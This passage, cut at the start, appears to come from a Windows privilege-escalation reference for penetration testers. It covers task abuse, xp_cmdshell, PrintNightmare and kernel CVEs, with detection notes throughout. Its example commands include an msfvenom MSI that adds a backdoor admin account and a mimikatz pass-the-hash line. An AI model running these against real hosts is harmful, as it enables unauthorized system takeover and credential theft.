OPSEC / detection: Requires waiting for an admin logon. New/changed autorun entries are a classic detection (Autoruns, Sysmon).
Scheduled Task Abuse
Understand permissions on task definitions and their referenced files.
A task's execution identity and permission to manage the task are separate security properties. Task Scheduler uses access controls for reading, updating, deleting, and running tasks. Executable and script files referenced by tasks are also securable objects with their own security descriptors. A defensive review should distinguish the task's permissions from the permissions on its referenced resources.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims about execution identities, processor modes, and task/startup permissions. Excludes commands, tools, prerequisites, applicability, connection outcomes, route viability, and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions (configuration weakness).
Reviewed claims
A task's access-control list governs permission to read, update, delete, and run it.
Microsoft, Security Contexts for Tasks — Security for Reading, Updating, Deleting, and Running Tasks
Windows files and directories are securable objects whose security descriptors govern access.
Microsoft, File Security and Access Rights — Security descriptors; File access rights
Requires
- Writable binary/script invoked by a privileged scheduled task
- Task trigger fires (or you can run it)
Example commands
# Enumerate tasks + run-as user
schtasks /query /fo LIST /v
# Check write access to a task's target
accesschk.exe -quv "C:\Path\To\task.exe" /accepteula
Tools
References
OPSEC / detection: Event ID 4698/4702 on task changes; file modification of the task target. Overwriting an existing task binary is quieter than creating a new task.
MSSQL xp_cmdshell
Run OS commands as the SQL service account.
With sysadmin access to a local MSSQL instance, enable and call xp_cmdshell to execute OS commands as the SQL Server service account. If that account holds SeImpersonatePrivilege (common for service accounts), chain into a Potato attack for full SYSTEM.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Any Windows host with a local MSSQL instance you are sysadmin on (SQL-version dependent, not OS).
Requires
- sysadmin role on the MSSQL instance
- xp_cmdshell enable-able
Example commands
# Enable xp_cmdshell
EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
# Execute as the service account
EXEC xp_cmdshell 'whoami /priv';
Tools
References
OPSEC / detection: sp_configure + xp_cmdshell are heavily monitored; many EDRs flag sqlservr.exe spawning cmd.exe.
Vulnerable Third-Party Software
Exploit a known LPE in installed software.
Enumerate installed applications and services and match their versions to public local-privilege-escalation CVEs. Vulnerable updaters, agents, VPN clients, and helper services frequently run as SYSTEM and have known exploits. winPEAS flags installed software and writable program directories; an outdated third-party service is often the easiest SYSTEM on the box.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Depends on the installed software, not the Windows build.
Requires
- Installed software with a known, exploitable LPE
Example commands
# List installed software (registry, no MSI self-repair)
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr "DisplayName DisplayVersion"
# 32-bit apps (Wow6432Node, missed by the native hive on 64-bit Windows)
reg query "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s | findstr "DisplayName DisplayVersion"
# Non-default service binaries (PowerShell/CIM; wmic is disabled by default on 24H2 and being removed (25H2 upgrade / Server 2025 FoD-only))
Get-CimInstance Win32_Service | ? { $_.PathName -notlike '*C:\Windows*' } | select Name,PathName,StartMode
Tools
References
OPSEC / detection: Exploit reliability varies; a crashing helper service is noticeable.
Insecure GUI App as Admin
Break out of a higher-privileged app into a shell.
Any custom or third-party application installed on the host and running at higher privilege is a candidate: a vendor management console, an elevated helper service with a tray UI, line-of-business / in-house software, a kiosk app, or an installer. Such apps are frequently configured to run as Administrator or SYSTEM and are rarely hardened, so they can be coerced into spawning a child process that inherits their privileges: break out through a File > Open/Save dialog (type a path, or right-click > Open in a new window), embedded Help (hh.exe), or a hyperlink that launches a browser you then escape to cmd. The more bespoke software a machine runs elevated, the more of these break-out primitives exist. Enumerate what is installed and how each process runs.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Depends on the installed application, not the Windows build.
Requires
- A higher-privileged (admin/SYSTEM) GUI process you can interact with
Tools
References
OPSEC / detection: Spawning cmd from an unexpected parent (a vendor app, an installer, a browser, hh.exe) is a strong process-tree signal.
PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
Spooler loads an attacker DLL as SYSTEM.
The Print Spooler's RpcAddPrinterDriverEx lets an authenticated user register a printer "driver" DLL that spoolsv.exe (running as SYSTEM) then loads. CVE-2021-1675 was the initial local-privilege-escalation assignment (June 2021 patch); when that patch was shown not to stop the attack, Microsoft assigned CVE-2021-34527 for the same primitive. The identical technique runs your DLL as SYSTEM either locally (point it at an on-disk DLL) or remotely (a UNC/SMB driver path against another host's spooler). Requires the Print Spooler service to be running; fully mitigated by disabling it or patching.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Unpatched Windows / Server, pre-July 2021. CVE-2021-1675 was the initial LPE assignment (June 2021); CVE-2021-34527 was assigned for the same RpcAddPrinterDriverEx primitive once the first patch was shown not to stop it, so the two IDs do not split cleanly into local vs remote. Print Spooler must be enabled.
Requires
- Print Spooler service running
- Unpatched host
Example commands
# Local LPE via a driver DLL
SharpPrintNightmare.exe C:\Temp\addCync.dll
Tools
References
OPSEC / detection: Spooler loading a user-supplied driver DLL is heavily detected post-2021. Disabling the spooler kills it entirely.
AlwaysInstallElevated
Install a malicious MSI that runs as SYSTEM.
If the AlwaysInstallElevated policy DWORD is set to 1 in BOTH HKLM and HKCU, any user can install an MSI package that executes with SYSTEM privileges. Generate a malicious MSI and install it quietly. Both keys must be set; one alone is not exploitable.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: All supported Windows versions (only when the AlwaysInstallElevated policy is enabled in both hives).
Requires
- AlwaysInstallElevated = 0x1 in HKLM AND HKCU
Example commands
# Check both hives (both must be 0x1)
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Build a SYSTEM payload MSI
msfvenom -p windows/x64/exec cmd='net user attacker P@ssw0rd! /add && net localgroup administrators attacker /add' -f msi -o evil.msi
# Install silently (transfer evil.msi to C:\Temp on the target first)
msiexec /quiet /qn /i C:\Temp\evil.msi
Tools
References
OPSEC / detection: msiexec installing an unsigned MSI from a temp path is suspicious; the new local admin / process tree is detectable.
Enumerate Missing Patches
Map OS build/hotfixes to known kernel LPEs.
Collect systeminfo (OS version + installed KBs) and feed it to WES-NG, the actively-updated primary tool, to list kernel/privilege-escalation CVEs the system is missing patches for. This is the triage step before grabbing a specific exploit binary; prefer it on older/unpatched hosts where service/token misconfigs are absent. Watson is an on-host alternative but is archived/unmaintained (read-only since 2021) and only covers Win10 up to 2004 and Server 2016-2019, so it returns empty/incomplete output on Windows 11, Server 2022, and Win10 20H2+; use Seatbelt or PrivescCheck for on-host checks on modern targets.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Triage step; applicability depends on the CVE it surfaces.
Requires
- Low-priv shell
- Ability to read OS version / run systeminfo
Example commands
# Collect target info
systeminfo > systeminfo.txt
# Bootstrap the definitions (fresh clone has none)
python wes.py --update
# Analyze offline (attacker host)
python wes.py systeminfo.txt --muc-lookup
Tools
References
OPSEC / detection: WES-NG runs offline on the attacker host (invisible). Watson is a .NET assembly run on-target, but it is archived and blind to modern builds. The follow-on kernel exploit is what risks instability.
Kernel Exploit (generic)
Run a public exploit for an unpatched kernel CVE.
Once a missing-patch CVE is identified, run the matching public exploit against a kernel/driver vulnerability to execute code in the kernel and obtain a SYSTEM context (e.g. older targets vulnerable to CVE-2018-8120, MS16-135/CVE-2016-7255, or CVE-2021-1732, all Win32k kernel bugs). Verify the exact build first: wrong-build kernel exploits frequently bugcheck the host.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Depends entirely on the specific CVE and exact build.
Requires
- Confirmed unpatched kernel CVE for the exact OS build
Example commands
# Example (build-specific binary; most kernel PoCs pop a SYSTEM shell rather than take a command)
.\exploit.exe cmd.exe
Tools
References
OPSEC / detection: High risk of instability / BSOD on the wrong build. Loud and last-resort; prefer misconfig-based vectors when available.
CVE-2023-21768 (AFD.sys)
AFD for WinSock write primitive on Win11 21H2/22H2 and Server 2022; public PoC completes SYSTEM only on 22H2.
An elevation-of-privilege flaw in the Ancillary Function Driver for WinSock (afd.sys) that yields a controlled arbitrary kernel WRITE. The CVE and its write primitive affect Windows 11 21H2/22H2 and Server 2022. The widely-used chompie1337 public PoC uses that write to corrupt IoRing (I/O Ring) registered-buffer structures into a full arbitrary kernel read/write primitive, then swaps the process token to SYSTEM; it only completes this chain on Windows 11 22H2, so other builds require porting the offsets. Fast and reliable where the PoC matches the build.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 11 21H2/22H2 and Server 2022, unpatched (pre-Jan 2023).
Requires
- Unpatched Windows 11 22H2 / Server 2022 build
Tools
References
OPSEC / detection: Driver exploitation can be caught by HVCI/EDR; the wrong build risks a bugcheck.
CVE-2021-1732 (Win32k)
Win32k out-of-bounds write → SYSTEM (in-the-wild).
A Win32k elevation-of-privilege via an out-of-bounds write (CWE-787): a user-mode callback (NtUserConsoleControl / xxxClientAllocWindowClassExtraBytes) leaves the tagWND.WndExtra pointer and its is-offset flag out of sync, yielding kernel read/write and a token swap to SYSTEM. Originally exploited in the wild by the Bitter APT; the public KaLendsi PoC is validated on 1909 x64 and its offsets are build-specific, so other builds need porting.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 10 1803–20H2 and Server 2019, unpatched (pre-Feb 2021). Per NVD CPE data, Server 2016 is not affected, and 1903 (out of support at patch time) is not in the NVD/MSRC list.
Requires
- Unpatched affected Windows 10 / Server build
Tools
References
OPSEC / detection: Kernel token manipulation is EDR-visible; the wrong build risks instability.
CVE-2020-0787 (BITS)
BITS arbitrary file move → SYSTEM, no SeImpersonate.
A symlink / arbitrary-file-move flaw in the Background Intelligent Transfer Service (BITS) that itm4n's exploit turns into an arbitrary file write as SYSTEM, then code execution. Works from a plain user without SeImpersonatePrivilege, across many Windows 7–10 builds.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 7 – Windows 10 1909 / Server 2008–2019, unpatched (pre-Mar 2020).
Requires
- Unpatched Windows 7–10 / Server build
- BITS service available
Tools
References
OPSEC / detection: Reliable and quiet relative to kernel exploits, but the file-move primitive and new SYSTEM process are detectable.
BlueHammer (CVE-2026-33825)
Race Defender remediation for a privileged file write → SYSTEM.
CVE-2026-33825: insufficient access-control granularity in Microsoft Defender. A local user races a time-of-check / time-of-use window in Defender's threat-remediation engine, which writes files as SYSTEM without revalidating the path, to escalate to SYSTEM. Disclosed April 2026 alongside RedSun and UnDefend, patched in the April update, and listed in CISA's Known Exploited Vulnerabilities catalog. Awareness entry; exploitation specifics are intentionally omitted.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Microsoft Defender Antimalware Platform before 4.18.26030.3011 (Windows 10/11, Server 2016-2025); patched April 2026, in CISA KEV.
Requires
- A standard user session on a host with a vulnerable (pre-4.18.26030.3011) Defender platform
References
OPSEC / detection: Patched builds are immune; on unpatched hosts the remediation race and the new SYSTEM process are detectable.
RedSun (CVE-2026-41091)
Abuse Microsoft Defender cloud-file restore to write a file as SYSTEM (now patched).
A now-patched engine-level Windows privilege escalation (CVE-2026-41091, link-following / CWE-59), distinct from BlueHammer's plain remediation-write TOCTOU. During threat remediation Defender RESTORES (rather than quarantines) a cloud-tagged placeholder file, converted via the Windows Cloud Files API (cfapi/cldapi.dll), and does not revalidate the target path. A local user holds a batch oplock to pause the SYSTEM-privileged restore, then swaps in an NTFS junction that redirects the rewrite of the placeholder into a protected path (e.g. C:\Windows\System32\TieringEngineService.exe), landing code as SYSTEM. Disclosed April 2026, fixed in Defender Engine 1.1.26040.8 on 2026-05-19. Listed for awareness only; exploitation specifics are intentionally omitted.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 10/11 and Server 2019+ running Microsoft Defender before Malware Protection Engine 1.1.26040.8 / Antimalware Platform 4.18.26040.7; patched 2026-05-19, added to CISA KEV 2026-05-20.
Requires
- A standard user session on a host running an unpatched Microsoft Defender
References
OPSEC / detection: Triggering the exploit requires a Defender detection event (EICAR/malicious-file bait) that is itself logged, and success overwrites a signed System32 binary (TieringEngineService.exe); both are high-signal artifacts, not just a subtle path-confusion pattern.
CVE-2019-1388 (hhupd)
UAC certificate dialog → SYSTEM browser → shell.
The Windows Certificate Dialog in the hhupd.exe UAC prompt failed to drop privileges when following the certificate's "Issued by" hyperlink. Clicking it opens Internet Explorer as SYSTEM; from there a Save-As / file dialog launches cmd.exe as SYSTEM. A one-click GUI escalation on unpatched Windows 7–10 / 2008–2019.
Review not recordedReferences are reading sources. No claim-level editorial review has been recorded.
Applicability: Windows 7 through 10 1903 and Server 2008 through 2019, unpatched (pre-Nov 2019). Windows 10 1909 shipped with the fix. (1703 was already out of support at patch time and is not in the Nov 2019 advisory, though the code path was equally vulnerable.)
Requires
- Unpatched build
- Ability to trigger the hhupd UAC dialog
Tools
References
OPSEC / detection: iexplore.exe running as SYSTEM with parent consent.exe (and a cmd.exe child) is the tell-tale anomaly; the canonical Sigma rule matches exactly this consent.exe -> iexplore.exe pair.
Recovered Credentials
Distinguish authentication material from a process's security context.
Passwords and password hashes are different kinds of data. NIST's password-storage model derives a hash from a password, salt, and cost factor. Windows uses access tokens to describe the identity, groups, and privileges of running processes or threads. Finding authentication material does not by itself describe the security context of a running process.
Selected claims source-reviewed2026-09-07 · Codex (AI). Scope: Selected conceptual claims in the account, credential, and authentication explanation. Excludes commands, tools, prerequisites, applicability, connection outcomes, route viability, and ATT&CK mappings. Navigation labels remain project conventions.
Applicability: All supported Windows versions.
Reviewed claims
NIST describes password hashing schemes that derive a hash from a password, salt, and cost factor.
NIST SP 800-63B-4, Authenticators — 3.1.1.2 Password Verifiers
A Windows access token describes a process or thread's security context and includes account identity, group information, and privileges.
Microsoft, Access tokens — Opening definition and access-token contents
Requires
- A credential recovered from the host
Example commands
# Run as the recovered local user (cleartext)
runas /user:Administrator cmd.exe
# Pass-the-hash to a local admin shell (token injection, no network)
sekurlsa::pth /user:Administrator /domain:. /ntlm:<nthash> /run:cmd.exe
Tools
References
OPSEC / detection: Reusing a recovered local credential is quieter than exploitation but still logged; a mismatched account or source is the tell. The 4624 logon type varies by method: interactive runas is type 2; local pass-the-hash / over-PtH via sekurlsa::pth is type 9 (NewCredentials, seclogo); a network logon elsewhere with the reused hash is type 3.